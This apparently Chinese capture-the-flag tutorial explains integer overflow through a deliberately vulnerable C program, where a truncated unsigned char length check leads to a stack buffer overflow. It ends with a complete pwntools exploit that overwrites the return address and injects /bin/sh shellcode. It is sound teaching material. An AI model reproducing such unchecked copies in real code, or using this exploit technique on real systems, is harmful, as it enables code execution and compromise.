qlq1

什么是整型溢出

image.png

注意：大的范围转给小的范围的数，会造成截断，这是内存分布结构所导致的，下面示例中会讲到

首先checksec

image.png

未开保护

程序源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void foo(char* passwd) {
    char passwd_buf[11];
    unsigned char passwd_len = strlen(passwd); //char来存储passwd_len
    if(passwd_len >= 4 && passwd_len <= 8) { 
        printf("Valid Password\n"); 
        fflush(stdout);
        strcpy(passwd_buf,passwd);
    } 
    else {
        printf("Invalid Password\n"); 
        fflush(stdout);
    }
}

int main() {
    char a[300];
    printf("0x%x\n",a);
    puts("input your passwd:");
    
    read(0,a,300);
    foo(a);
    return 0;
}

分析
第一个漏洞点：uchar 的len，因为长度为256，当大于256就会截断，如输入261（0001 0000 0101），截断后（后uchar字节的数）：5（0101），所以len会变为5（这就是大的范围转给小的范围的数，会造成截断），因为整数溢出过大这里用uchar来做例子，原理是是一样的

第二个漏洞点：基本的栈溢出，就是复制密码到数组

编写exp过程

1.程序开始便打印了栈上变量的地址，相当于泄露栈地址
2.通过ida分析

image.png

buf距离ebp 20个字节，距离eip24字节
因此字节填充为'a'*24

image.png

3.动态调试确定shellcode地址偏移

image.png

4.将‘c'*8改为shellcode即可

exp

#exp.py 
from pwn import *

p=process("./vuln")

shell = asm(shellcraft.i386.linux.sh())


p.recvuntil("0x")
addr=int(p.recv(8),16)-0x14

p.recvuntil("passwd:\n")
payload='a'*24
payload+=p32(addr)
payload+=shell
payload=payload.ljust(261,'b')
payload+='\x00'

p.send(payload)
#gdb.attach(p,"b *0x804A060")
p.interactive()